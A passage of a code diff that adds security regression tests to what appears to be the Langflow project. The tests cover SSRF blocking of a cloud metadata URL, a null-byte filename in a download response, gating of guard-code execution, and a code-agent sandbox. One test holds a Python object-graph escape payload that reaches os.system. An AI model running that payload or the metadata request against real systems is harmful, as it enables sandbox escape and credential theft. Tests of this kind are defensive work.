It must be stripped so the path stays inside the temp dir and + the file is written cleanly. Regression for GHSA-h3c6-fqr4-m99p. + """ + import tempfile + from pathlib import Path + + component_temp_dir = Path(tempfile.gettempdir()) / component.__class__.__name__ + request = httpx.Request("GET", "https://example.com/download") + malicious = Response( + 200, + content=b"payload", + headers={"Content-Disposition": 'attachment; filename="evil\x00.sh"'}, + request=request, + ) + + _, file_path = await component._response_info(malicious, with_file_path=True) + + assert file_path is not None + assert file_path.parent.resolve() == component_temp_dir.resolve() + assert "\x00" not in str(file_path) + assert file_path.name.endswith("evil.sh") + assert ".." not in file_path.parts + class TestAPIRequestSSRFProtection: """Rewritten SSRF Protection Tests for API Request Component. diff --git a/src/backend/tests/unit/components/data_source/test_sql_executor.py b/src/backend/tests/unit/components/data_source/test_sql_executor.py index 6d8ff886b7..4696e90384 100644 --- a/src/backend/tests/unit/components/data_source/test_sql_executor.py +++ b/src/backend/tests/unit/components/data_source/test_sql_executor.py @@ -1,13 +1,26 @@ import sqlite3 from pathlib import Path +from unittest.mock import Mock, patch import pytest -from lfx.components.data_source.sql_executor import SQLComponent +from lfx.components.data_source.sql_executor import SQL_DATABASE_ENGINE_ARGS, SQLComponent from lfx.schema import DataFrame, Message +from lfx.services.cache.utils import CacheMiss from tests.base import ComponentTestBaseWithoutClient +class FakeSharedComponentCache: + def __init__(self, values=None): + self.values = values or {} + + def get(self, key): + return self.values.get(key, CacheMiss()) + + def set(self, key, value): + self.values[key] = value + + class TestSQLComponent(ComponentTestBaseWithoutClient): @pytest.fixture def test_db(self): @@ -101,3 +114,33 @@ class TestSQLComponent(ComponentTestBaseWithoutClient): assert "name" in result.columns assert result.iloc[0]["id"] == 1 assert result.iloc[0]["name"] == "name_test" + + def test_maybe_create_db_reuses_cached_database(self, component_class: type[SQLComponent], default_kwargs): + """Test cached database reuse without creating a new engine.""" + cached_db = Mock() + cache = FakeSharedComponentCache({default_kwargs["database_url"]: cached_db}) + component = component_class(**default_kwargs) + component._shared_component_cache = cache + + with patch("lfx.components.data_source.sql_executor.SQLDatabase.from_uri") as mock_from_uri: + component.maybe_create_db() + + assert component.db is cached_db + mock_from_uri.assert_not_called() + + def test_maybe_create_db_enables_pool_pre_ping(self, component_class: type[SQLComponent], default_kwargs): + """Test new cached databases validate stale pooled connections on checkout.""" + created_db = Mock() + cache = FakeSharedComponentCache() + component = component_class(**default_kwargs) + component._shared_component_cache = cache + + with patch( + "lfx.components.data_source.sql_executor.SQLDatabase.from_uri", + return_value=created_db, + ) as mock_from_uri: + component.maybe_create_db() + + mock_from_uri.assert_called_once_with(default_kwargs["database_url"], engine_args=SQL_DATABASE_ENGINE_ARGS) + assert component.db is created_db + assert cache.values[default_kwargs["database_url"]] is created_db diff --git a/src/backend/tests/unit/components/embeddings/test_ollama_embeddings_component.py b/src/backend/tests/unit/components/embeddings/test_ollama_embeddings_component.py index 1eb56b2a47..bc3048cc63 100644 --- a/src/backend/tests/unit/components/embeddings/test_ollama_embeddings_component.py +++ b/src/backend/tests/unit/components/embeddings/test_ollama_embeddings_component.py @@ -919,3 +919,7 @@ class TestOllamaEmbeddingsComponent(ComponentTestBaseWithoutClient): component = component_class() output_names = [out.name for out in component.outputs] assert "embeddings" in output_names + + @pytest.fixture(autouse=True) + def disable_ssrf_protection(self, monkeypatch): + monkeypatch.setenv("LANGFLOW_SSRF_PROTECTION_ENABLED", "false") diff --git a/src/backend/tests/unit/components/languagemodels/test_chatollama_component.py b/src/backend/tests/unit/components/languagemodels/test_chatollama_component.py index 08d1b9942a..461d1fa975 100644 --- a/src/backend/tests/unit/components/languagemodels/test_chatollama_component.py +++ b/src/backend/tests/unit/components/languagemodels/test_chatollama_component.py @@ -1269,3 +1269,7 @@ class TestChatOllamaComponent(ComponentTestBaseWithoutClient): assert "format" in call_args, "format should be in call when enabled" assert call_args["format"] == "json" assert model == mock_instance + + @pytest.fixture(autouse=True) + def disable_ssrf_protection(self, monkeypatch): + monkeypatch.setenv("LANGFLOW_SSRF_PROTECTION_ENABLED", "false") diff --git a/src/backend/tests/unit/components/languagemodels/test_deepseek.py b/src/backend/tests/unit/components/languagemodels/test_deepseek.py index 2ca364164a..3f5baf06dc 100644 --- a/src/backend/tests/unit/components/languagemodels/test_deepseek.py +++ b/src/backend/tests/unit/components/languagemodels/test_deepseek.py @@ -82,8 +82,8 @@ def test_deepseek_build_model(mock_chat_openai, temperature, max_tokens): def test_deepseek_get_models(mocker): component = DeepSeekModelComponent() - # Mock requests.get - mock_get = mocker.patch("requests.get") + # Mock SSRF-safe httpx helper + mock_get = mocker.patch("lfx.components.deepseek.deepseek.ssrf_safe_httpx_get") mock_response = MagicMock() mock_response.json.return_value = {"data": [{"id": "deepseek-chat"}, {"id": "deepseek-coder"}]} mock_get.return_value = mock_response @@ -110,3 +110,8 @@ def test_deepseek_error_handling(mock_chat_openai): with pytest.raises(Exception, match="Invalid API key"): component.build_model() + + +@pytest.fixture(autouse=True) +def disable_ssrf_protection(monkeypatch): + monkeypatch.setenv("LANGFLOW_SSRF_PROTECTION_ENABLED", "false") diff --git a/src/backend/tests/unit/components/languagemodels/test_litellm_proxy.py b/src/backend/tests/unit/components/languagemodels/test_litellm_proxy.py index 379770862e..b02d5a51f6 100644 --- a/src/backend/tests/unit/components/languagemodels/test_litellm_proxy.py +++ b/src/backend/tests/unit/components/languagemodels/test_litellm_proxy.py @@ -72,7 +72,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(), ) mock_chat_openai = mocker.patch( @@ -98,7 +98,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(), ) mock_chat_openai = mocker.patch( @@ -116,7 +116,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(), ) mock_chat_openai = mocker.patch( @@ -133,7 +133,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): def test_validate_proxy_connection_success(self, component_class, default_kwargs, mocker): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(), ) # Should not raise @@ -142,7 +142,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): def test_validate_proxy_connection_auth_failure(self, component_class, default_kwargs, mocker): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(status_code=401), ) with pytest.raises(ValueError, match="Authentication failed"): @@ -152,7 +152,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): default_kwargs["model_name"] = "invalid-model-name" component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(models=[{"id": "gpt-4o"}]), ) with pytest.raises(ValueError, match=r"invalid-model-name.*not found"): @@ -161,7 +161,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): def test_validate_proxy_connection_connect_error(self, component_class, default_kwargs, mocker): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", side_effect=httpx.ConnectError("Connection refused"), ) with pytest.raises(ValueError, match="Could not connect"): @@ -170,7 +170,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): def test_validate_proxy_connection_timeout(self, component_class, default_kwargs, mocker): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", side_effect=httpx.TimeoutException("Timed out"), ) with pytest.raises(ValueError, match="timed out"): @@ -179,7 +179,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): def test_validate_proxy_connection_empty_models_list(self, component_class, default_kwargs, mocker): component = component_class(**default_kwargs) mocker.patch( - "lfx.components.litellm.litellm_proxy.httpx.get", + "lfx.components.litellm.litellm_proxy.ssrf_safe_httpx_get", return_value=_mock_models_response(models=[]), ) # Empty models list should not raise (proxy may not report models) @@ -238,3 +238,7 @@ class TestLiteLLMProxyComponent(ComponentTestBaseWithoutClient): with patch.dict("sys.modules", {"openai": None}): message = component._get_exception_message(Exception("test")) assert message is None + + @pytest.fixture(autouse=True) + def disable_ssrf_protection(self, monkeypatch): + monkeypatch.setenv("LANGFLOW_SSRF_PROTECTION_ENABLED", "false") diff --git a/src/backend/tests/unit/components/languagemodels/test_xai.py b/src/backend/tests/unit/components/languagemodels/test_xai.py index f4f4ff5232..532d3669c7 100644 --- a/src/backend/tests/unit/components/languagemodels/test_xai.py +++ b/src/backend/tests/unit/components/languagemodels/test_xai.py @@ -101,8 +101,15 @@ class TestXAIComponent(ComponentTestBaseWithoutClient): component.base_url = "https://api.x.ai/v1" component.seed = 1 + http_client = MagicMock() + http_async_client = MagicMock() + mock_client_kwargs = mocker.patch( + "lfx.components.xai.xai.ssrf_protected_openai_clients_for_url", + return_value={"http_client": http_client, "http_async_client": http_async_client}, + ) mock_chat_openai = mocker.patch("lfx.components.xai.xai.ChatOpenAI", return_value=MagicMock()) model = component.build_model() + mock_client_kwargs.assert_called_once_with("https://api.x.ai/v1") mock_chat_openai.assert_called_once_with( max_tokens=100, model_kwargs={}, @@ -111,12 +118,14 @@ class TestXAIComponent(ComponentTestBaseWithoutClient): api_key="test-key", temperature=0.7, seed=1, + http_client=http_client, + http_async_client=http_async_client, ) assert model == mock_chat_openai.return_value def test_get_models(self): component = XAIModelComponent() - with patch("requests.get") as mock_get: + with patch("lfx.components.xai.xai.ssrf_safe_httpx_get") as mock_get: mock_response = MagicMock() mock_response.json.return_value = { "models": [ @@ -191,8 +200,11 @@ class TestXAIComponent(ComponentTestBaseWithoutClient): component = XAIModelComponent() build_config = {"model_name": {"options": []}} - updated_config = component.update_build_config(build_config, "test-key", "api_key") - assert "model_name" in updated_config + with patch.object(component, "get_models", return_value=["grok-2-latest"]) as mock_get_models: + updated_config = component.update_build_config(build_config, "test-key", "api_key") + assert "model_name" in updated_config - updated_config = component.update_build_config(build_config, "grok-2-latest", "model_name") - assert "model_name" in updated_config + updated_config = component.update_build_config(build_config, "grok-2-latest", "model_name") + assert "model_name" in updated_config + + assert mock_get_models.call_count == 2 diff --git a/src/backend/tests/unit/components/models_and_agents/policies/test_policies_component.py b/src/backend/tests/unit/components/models_and_agents/policies/test_policies_component.py index 9e26d14605..20a808caf3 100644 --- a/src/backend/tests/unit/components/models_and_agents/policies/test_policies_component.py +++ b/src/backend/tests/unit/components/models_and_agents/policies/test_policies_component.py @@ -60,6 +60,60 @@ def _make_fake_tg(**overrides): @pytest.mark.asyncio +async def test_guard_tools_blocked_when_custom_components_disabled(mock_component, monkeypatch): + """ToolGuard guard execution must be refused under allow_custom_components=False. + + Regression test: the guard code comes from client-editable CodeInput + template values that bypass the custom-component hash gate, so a locked-down + deployment must refuse to execute it. The refusal happens before any toolguard + import/exec. + """ + from types import SimpleNamespace + + monkeypatch.setattr( + "lfx.services.deps.get_settings_service", + lambda: SimpleNamespace(settings=SimpleNamespace(allow_custom_components=False)), + ) + + # The refusal must happen before any toolguard runtime is imported/exec'd. + with ( + patch.object(PoliciesComponent, "_import_toolguard") as mock_import, + pytest.raises(ValueError, match="allow_custom_components"), + ): + await mock_component.guard_tools() + mock_import.assert_not_called() + + +@pytest.mark.asyncio +async def test_guard_tools_allowed_when_custom_components_enabled(mock_component, monkeypatch): + """ToolGuard guard execution must reach the runtime when allow_custom_components=True. + + Pins the allow side of the gate: with the flag enabled, guard_tools() must get + past _code_execution_allowed() and import the toolguard runtime. Without this, + a future flip of the default would silently bypass the security gate and only + the blocked path would be covered. + """ + from types import SimpleNamespace + + monkeypatch.setattr( + "lfx.services.deps.get_settings_service", + lambda: SimpleNamespace(settings=SimpleNamespace(allow_custom_components=True)), + ) + + fake_tg = _make_fake_tg() + fake_tg["load_toolguards_from_memory"].return_value = MagicMock() + fake_tg["GuardedTool"].return_value = MagicMock() + + with ( + patch.object(Path, "exists", return_value=True), + patch.object(PoliciesComponent, "_import_toolguard", return_value=fake_tg) as mock_import, + patch.object(mock_component, "make_toolguard_result", return_value=MagicMock()), + ): + await mock_component.guard_tools() + + mock_import.assert_called() + + async def test_cache_mode_success(mock_component, mock_tool): """Test PoliciesComponent in cache mode with valid cached guards.""" code_dir = mock_component.work_dir / STEP2 @@ -211,7 +265,7 @@ async def test_generate_mode_validation_errors(mock_component): # Test missing model mock_component.in_tools = [MagicMock()] mock_component.model = None - with pytest.raises(ValueError, match="model or api_key cannot be empty"): + with pytest.raises(ValueError, match="model cannot be empty"): await mock_component.guard_tools() # # Test non-recommended model @@ -314,4 +368,145 @@ async def test_verify_cached_guards_error_messages(mock_component): assert "Unexpected error" in str(exc_info.value) +def test_template_field_key_normalizes_separators(): + """Node-template keys are POSIX; OS-separator file names must normalize to match. + + Regression for #13727: on Windows the toolguard result stores ``file_name`` as + a Path whose ``str()`` uses backslashes, while ``sync_generated_guard_code_inputs`` + keys the template by ``Path.as_posix()`` (forward slashes). The lookup must + normalize so it matches on every platform. + """ + # Forward-slash input is unchanged. + assert PoliciesComponent._template_field_key("proj/fetch_content/guard.py") == "proj/fetch_content/guard.py" + # Backslash input (what str(WindowsPath(...)) yields) normalizes to forward slashes. + assert PoliciesComponent._template_field_key("proj\\fetch_content\\guard.py") == "proj/fetch_content/guard.py" + # Path inputs normalize too. + assert PoliciesComponent._template_field_key(Path("proj/fetch_content/guard.py")) == "proj/fetch_content/guard.py" + # Single-segment names (e.g. result.json) are unaffected. + assert PoliciesComponent._template_field_key("result.json") == "result.json" + + +def _fake_file_twin(file_name): + """A stand-in for toolguard's FileTwin: a ``file_name`` plus assignable ``content``.""" + from types import SimpleNamespace + + return SimpleNamespace(file_name=file_name, content=None) + + +def test_make_toolguard_result_reads_posix_keyed_fields(mock_component): + """make_toolguard_result must read fields the sync step keyed by POSIX path. + + Regression for #13727 (the 'NoneType' object is not subscriptable crash on + Windows). The toolguard result hands back ``file_name`` values using OS + separators (here simulated with backslashes, exactly as ``str(WindowsPath)`` + produces), while the node template is keyed by forward-slash POSIX paths. The + read path must normalize and match instead of returning ``None``. + """ + from types import SimpleNamespace + + # file_name values as they arrive from the result model on Windows (backslashes). + types_fn = "proj\\proj_types.py" + api_fn = "proj\\proj_api.py" + impl_fn = "proj\\proj_api_impl.py" + guard_fn = "proj\\fetch_content\\guard.py" + item_fn = "proj\\fetch_content\\guard_allowed_url_domains.py" + + fake_result = SimpleNamespace( + domain=SimpleNamespace( + app_types=_fake_file_twin(types_fn), + app_api=_fake_file_twin(api_fn), + app_api_impl=_fake_file_twin(impl_fn), + ), + tools={ + "fetch_content": SimpleNamespace( + guard_file=_fake_file_twin(guard_fn), + item_guard_files=[_fake_file_twin(item_fn)], + ) + }, + ) + + # Template keyed by POSIX paths, exactly as sync_generated_guard_code_inputs writes them. + attrs = { + "result.json": {"value": "{}"}, + "proj/proj_types.py": {"value": "types-content"}, + "proj/proj_api.py": {"value": "api-content"}, + "proj/proj_api_impl.py": {"value": "impl-content"}, + "proj/fetch_content/guard.py": {"value": "guard-content"}, + "proj/fetch_content/guard_allowed_url_domains.py": {"value": "item-content"}, + } + + fake_tg = _make_fake_tg(RESULTS_FILENAME="result.json") + fake_tg["ToolGuardsCodeGenerationResult"].model_validate_json.return_value = fake_result + + mock_component.get_vertex = MagicMock(return_value=SimpleNamespace(data={"node": {"template": attrs}})) + + with patch.object(PoliciesComponent, "_import_toolguard", return_value=fake_tg): + result = mock_component.make_toolguard_result() + + assert result is fake_result + assert result.domain.app_types.content == "types-content" + assert result.domain.app_api.content == "api-content" + assert result.domain.app_api_impl.content == "impl-content" + assert result.tools["fetch_content"].guard_file.content == "guard-content" + assert result.tools["fetch_content"].item_guard_files[0].content == "item-content" + + +def test_make_toolguard_result_missing_field_raises_clear_error(mock_component): + """A missing generated field yields a clear ValueError, not a NoneType subscript. + + Before #13727's fix a missing key surfaced as + ``'NoneType' object is not subscriptable``; it must now point the user at + Generate mode instead. + """ + from types import SimpleNamespace + + fake_result = SimpleNamespace( + domain=SimpleNamespace( + app_types=_fake_file_twin("proj/proj_types.py"), + app_api=_fake_file_twin("proj/proj_api.py"), + app_api_impl=_fake_file_twin("proj/proj_api_impl.py"), + ), + tools={}, + ) + + # app_types key is intentionally absent from the template. + attrs = { + "result.json": {"value": "{}"}, + "proj/proj_api.py": {"value": "api-content"}, + "proj/proj_api_impl.py": {"value": "impl-content"}, + } + + fake_tg = _make_fake_tg(RESULTS_FILENAME="result.json") + fake_tg["ToolGuardsCodeGenerationResult"].model_validate_json.return_value = fake_result + + mock_component.get_vertex = MagicMock(return_value=SimpleNamespace(data={"node": {"template": attrs}})) + + with ( + patch.object(PoliciesComponent, "_import_toolguard", return_value=fake_tg), + pytest.raises(ValueError, match="missing from the component"), + ): + mock_component.make_toolguard_result() + + +def test_validate_before_generate_allows_empty_api_key(mock_component): + """api_key is optional: validation passes when only the model is set. + + The field is declared required=False/advanced=True and credentials often come + from the model connection or environment, so requiring api_key here wrongly + blocked valid setups (the "model or api_key cannot be empty!" wart in #13727). + """ + mock_component.api_key = "" + mock_component.model = [{"name": "gpt-5.1", "provider": "OpenAI"}] + # Should not raise. + mock_component.validate_before_generate() + + +def test_validate_before_generate_still_requires_model(mock_component): + """A missing model is still rejected after relaxing the api_key requirement.""" + mock_component.api_key = "" + mock_component.model = None + with pytest.raises(ValueError, match="model cannot be empty"): + mock_component.validate_before_generate() + + # Made with Bob diff --git a/src/backend/tests/unit/components/models_and_agents/test_altk_agent_logic.py b/src/backend/tests/unit/components/models_and_agents/test_altk_agent_logic.py index d3a6dacfc5..1cf9542ad3 100644 --- a/src/backend/tests/unit/components/models_and_agents/test_altk_agent_logic.py +++ b/src/backend/tests/unit/components/models_and_agents/test_altk_agent_logic.py @@ -490,6 +490,11 @@ class TestHelperFunctions: agent_llm_inputs = [inp for inp in result if getattr(inp, "name", None) == "agent_llm"] assert len(agent_llm_inputs) == 0 + verbose_inputs = [inp for inp in result if getattr(inp, "name", None) == "verbose"] + assert len(verbose_inputs) == 1 + assert "LANGCHAIN_VERBOSE" in verbose_inputs[0].info + assert "stdout handler" in verbose_inputs[0].info + class TestConversationContextBuilding: """Test conversation context building edge cases.""" diff --git a/src/backend/tests/unit/components/models_and_agents/test_cuga_agent.py b/src/backend/tests/unit/components/models_and_agents/test_cuga_agent.py index 08dd4c4315..d511f94543 100644 --- a/src/backend/tests/unit/components/models_and_agents/test_cuga_agent.py +++ b/src/backend/tests/unit/components/models_and_agents/test_cuga_agent.py @@ -1,10 +1,17 @@ +import sys +import types from typing import Any from uuid import uuid4 import pytest from langflow.custom import Component from lfx.components.tools.calculator import CalculatorToolComponent -from lfx_bundles.cuga import CugaComponent +from lfx_bundles.cuga.cuga_agent import ( + _CUGA_CODE_AGENT_GUARD_ATTR, + CugaComponent, + _install_cuga_code_agent_security_guard, + _validate_cuga_code_agent_source, +) from tests.base import ComponentTestBaseWithClient, ComponentTestBaseWithoutClient from tests.unit.mock_language_model import MockLanguageModel @@ -12,6 +19,106 @@ from tests.unit.mock_language_model import MockLanguageModel # Load environment variables from .env file +def _get_cuga_code_agent_security_classes() -> tuple[Any, Any]: + code_executor_module = pytest.importorskip("cuga.backend.cuga_graph.nodes.cuga_lite.executors.code_executor") + security_module = pytest.importorskip("cuga.backend.cuga_graph.nodes.cuga_lite.executors.common") + return code_executor_module.CodeExecutor, security_module.SecurityValidator + + +def test_cuga_code_agent_guard_allows_safe_codeagent_source(): + code_executor_cls, security_validator_cls = _get_cuga_code_agent_security_classes() + + safe_code = 'import json\nprint(json.dumps({"variable_name": "answer", "value": 42}))' + + _validate_cuga_code_agent_source(code_executor_cls, security_validator_cls, safe_code) + + +def test_cuga_code_agent_guard_blocks_object_graph_escape(): + code_executor_cls, security_validator_cls = _get_cuga_code_agent_security_classes() + + exploit_code = """ +import json +mod = None +for cls in ().__class__.__mro__[1].__subclasses__(): + globals_dict = getattr(getattr(cls, "__init__", None), "__globals__", None) + if isinstance(globals_dict, dict) and globals_dict.get("os") is not None: + mod = globals_dict["os"] + break +mod.system("mkdir -p /tmp/langflow-poc") +print(json.dumps({"variable_name": "proof", "value": "escaped"})) +""" + + with pytest.raises((ImportError, PermissionError), match=r"not allowed|Security violation|Suspicious"): + _validate_cuga_code_agent_source(code_executor_cls, security_validator_cls, exploit_code) + + +@pytest.mark.asyncio +async def test_cuga_code_agent_security_guard_validates_before_original_executor(monkeypatch): + validations: list[tuple[str, str]] = [] + calls: list[tuple[str, Any, Any]] = [] + + class FakeSecurityValidator: + @staticmethod + def validate_imports(code: str) -> None: + validations.append(("imports", code)) + + @staticmethod + def validate_wrapped_code(wrapped_code: str) -> None: + validations.append(("wrapped", wrapped_code)) + if "BLOCK" in wrapped_code: + msg = "blocked before execution" + raise PermissionError(msg) + + class FakeCodeExecutor: + @classmethod + def _wrap_code_for_code_agent(cls, code: str) -> str: + return f"wrapped:{code}" + + @classmethod + async def eval_for_code_agent(cls, code: str, state: Any, mode: Any = None) -> tuple[str, dict[str, Any]]: + calls.append((code, state, mode)) + return "executed", {} + + def package_module(name: str) -> types.ModuleType: + module = types.ModuleType(name) + module.__path__ = [] + return module + + package_names = [ + "cuga", + "cuga.backend", + "cuga.backend.cuga_graph", + "cuga.backend.cuga_graph.nodes", + "cuga.backend.cuga_graph.nodes.cuga_lite", + "cuga.backend.cuga_graph.nodes.cuga_lite.executors", + ] + for package_name in package_names: + monkeypatch.setitem(sys.modules, package_name, package_module(package_name)) + + code_executor_module = types.ModuleType("cuga.backend.cuga_graph.nodes.cuga_lite.executors.code_executor") + code_executor_module.CodeExecutor = FakeCodeExecutor + common_module = types.ModuleType("cuga.backend.cuga_graph.nodes.cuga_lite.executors.common") + common_module.SecurityValidator = FakeSecurityValidator + monkeypatch.setitem(sys.modules, code_executor_module.__name__, code_executor_module) + monkeypatch.setitem(sys.modules, common_module.__name__, common_module) + + _install_cuga_code_agent_security_guard() + _install_cuga_code_agent_security_guard() + + assert getattr(FakeCodeExecutor, _CUGA_CODE_AGENT_GUARD_ATTR) is True + assert await FakeCodeExecutor.eval_for_code_agent("safe", state="state", mode="local") == ("executed", {}) + with pytest.raises(PermissionError, match="blocked before execution"): + await FakeCodeExecutor.eval_for_code_agent("BLOCK", state="state", mode="local") + + assert calls == [("safe", "state", "local")] + assert validations == [ + ("imports", "safe"), + ("wrapped", "wrapped:safe"), + ("imports", "BLOCK"), + ("wrapped", "wrapped:BLOCK"), + ] + + class TestCugaComponent(ComponentTestBaseWithoutClient): """Test suite for CugaComponent without client dependencies. diff --git a/src/backend/tests/unit/components/test_ssrf_guarded_url_components.py b/src/backend/tests/unit/components/test_ssrf_guarded_url_components.py new file mode 100644 index 0000000000..09f477a927 --- /dev/null +++ b/src/backend/tests/unit/components/test_ssrf_guarded_url_components.py @@ -0,0 +1,183 @@ +from unittest.mock import patch + +import pytest +from lfx.components.deepseek.deepseek import DEEPSEEK_MODELS, DeepSeekModelComponent +from lfx.components.glean.glean_search_api import GleanAPIWrapper +from lfx.components.homeassistant.home_assistant_control import HomeAssistantControl +from lfx.components.homeassistant.list_home_assistant_states import ListHomeAssistantStates +from lfx.components.huggingface.huggingface_inference_api import HuggingFaceInferenceAPIEmbeddingsComponent +from lfx.components.litellm.litellm_proxy import LiteLLMProxyComponent +from lfx.components.lmstudio.lmstudioembeddings import LMStudioEmbeddingsComponent +from lfx.components.lmstudio.lmstudiomodel import LMStudioModelComponent +from lfx.components.ollama.ollama import ChatOllamaComponent +from lfx.components.ollama.ollama_embeddings import OllamaEmbeddingsComponent +from lfx.components.xai.xai import XAI_DEFAULT_MODELS, XAIModelComponent +from lfx.utils.ssrf_protection import SSRFProtectionError + +BLOCKED_URL = "http://169.254.169.254/latest/meta-data" + + +@pytest.fixture(autouse=True) +def enable_ssrf_protection(monkeypatch): + monkeypatch.setenv("LANGFLOW_SSRF_PROTECTION_ENABLED", "true") + monkeypatch.delenv("LANGFLOW_SSRF_ALLOWED_HOSTS", raising=False) + + +@pytest.mark.asyncio +async def test_lmstudio_model_update_blocks_metadata_url_before_httpx(): + component = LMStudioModelComponent() + build_config = {"base_url": {"load_from_db": False, "value": BLOCKED_URL}, "model_name": {"options": []}} + + with patch("httpx.AsyncClient.get") as mock_get, pytest.raises(ValueError, match="SSRF Protection"): + await component.update_build_config(build_config, None, "model_name") + + mock_get.assert_not_called() + + +def test_lmstudio_model_build_blocks_metadata_url_before_openai_client(): + component = LMStudioModelComponent(base_url=BLOCKED_URL, model_name="model", api_key="test") + + with ( + patch("lfx.components.lmstudio.lmstudiomodel.ChatOpenAI") as mock_chat_openai, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_model() + + mock_chat_openai.assert_not_called() + + +def test_lmstudio_embeddings_build_blocks_metadata_url_before_sdk_client(): + component = LMStudioEmbeddingsComponent(base_url=BLOCKED_URL, model="model", api_key="test") + + with ( + patch("lfx.components.lmstudio.lmstudioembeddings.NVIDIAEmbeddings", create=True) as mock_embeddings, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_embeddings() + + mock_embeddings.assert_not_called() + + +def test_home_assistant_list_states_blocks_metadata_url_before_httpx(): + component = ListHomeAssistantStates() + + with patch("httpx.Client.get") as mock_get: + result = component._list_states("token", BLOCKED_URL) + + assert "SSRF Protection" in result + mock_get.assert_not_called() + + +def test_home_assistant_control_blocks_metadata_url_before_httpx(): + component = HomeAssistantControl() + + with patch("httpx.Client.post") as mock_post: + result = component._control_device("token", BLOCKED_URL, "turn_on", "switch.test") + + assert "SSRF Protection" in result + mock_post.assert_not_called() + + +def test_deepseek_model_fetch_blocks_metadata_url_before_httpx(): + component = DeepSeekModelComponent(api_base=BLOCKED_URL, api_key="test") + + with patch("httpx.Client.get") as mock_get: + models = component.get_models() + + assert models == DEEPSEEK_MODELS + assert "SSRF Protection" in component.status + mock_get.assert_not_called() + + +def test_deepseek_build_blocks_metadata_url_before_openai_client(): + component = DeepSeekModelComponent(api_base=BLOCKED_URL, api_key="test") + + with patch("langchain_openai.ChatOpenAI") as mock_chat_openai, pytest.raises(ValueError, match="SSRF Protection"): + component.build_model() + + mock_chat_openai.assert_not_called() + + +def test_xai_model_fetch_blocks_metadata_url_before_httpx(): + component = XAIModelComponent(base_url=BLOCKED_URL, api_key="test") + + with patch("httpx.Client.get") as mock_get: + models = component.get_models() + + assert models == XAI_DEFAULT_MODELS + assert "SSRF Protection" in component.status + mock_get.assert_not_called() + + +def test_xai_build_blocks_metadata_url_before_openai_client(): + component = XAIModelComponent(base_url=BLOCKED_URL, api_key="test") + + with ( + patch("lfx.components.xai.xai.ChatOpenAI") as mock_chat_openai, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_model() + + mock_chat_openai.assert_not_called() + + +def test_glean_blocks_metadata_url_before_httpx_post(): + wrapper = GleanAPIWrapper(glean_api_url=BLOCKED_URL, glean_access_token="test-access-token") # noqa: S106 + + with patch("httpx.Client.post") as mock_post, pytest.raises(SSRFProtectionError): + wrapper._search_api_results("query") + + mock_post.assert_not_called() + + +def test_huggingface_build_blocks_metadata_url_before_sdk_client(): + component = HuggingFaceInferenceAPIEmbeddingsComponent( + inference_endpoint=BLOCKED_URL, + model_name="model", + ) + + with ( + patch.object(component, "create_huggingface_embeddings") as mock_create, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_embeddings() + + mock_create.assert_not_called() + + +def test_ollama_embeddings_build_blocks_metadata_url_before_sdk_client(): + component = OllamaEmbeddingsComponent(base_url=BLOCKED_URL, model_name="model") + + with ( + patch("lfx.components.ollama.ollama_embeddings.OllamaEmbeddings") as mock_embeddings, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_embeddings() + + mock_embeddings.assert_not_called() + + +def test_ollama_build_blocks_metadata_url_before_sdk_client(): + component = ChatOllamaComponent(base_url=BLOCKED_URL, model_name="model", mirostat="Disabled") + + with ( + patch("lfx.components.ollama.ollama.ChatOllama") as mock_chat_ollama, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_model() + + mock_chat_ollama.assert_not_called() + + +def test_litellm_build_blocks_metadata_url_before_httpx_and_openai_client(): + component = LiteLLMProxyComponent(api_base=BLOCKED_URL, api_key="test", model_name="model") + + with ( + patch("httpx.Client.get") as mock_get, + patch("lfx.components.litellm.litellm_proxy.ChatOpenAI") as mock_chat_openai, + pytest.raises(ValueError, match="SSRF Protection"), + ): + component.build_model() + + mock_get.assert_not_called() + mock_chat_openai.assert_not_called() diff --git a/src/backend/tests/unit/components/tools/test_python_repl_tool.py b/src/backend/tests/unit/components/tools/test_python_repl_tool.py index 7dc931a57a..746283c812 100644 --- a/src/backend/tests/unit/components/tools/test_python_repl_tool.py +++ b/src/backend/tests/unit/components/tools/test_python_repl_tool.py @@ -114,6 +114,24 @@ class TestPythonREPLComponentSecurity: template = PythonREPLComponent().to_frontend_node()["data"]["node"]["template"] assert 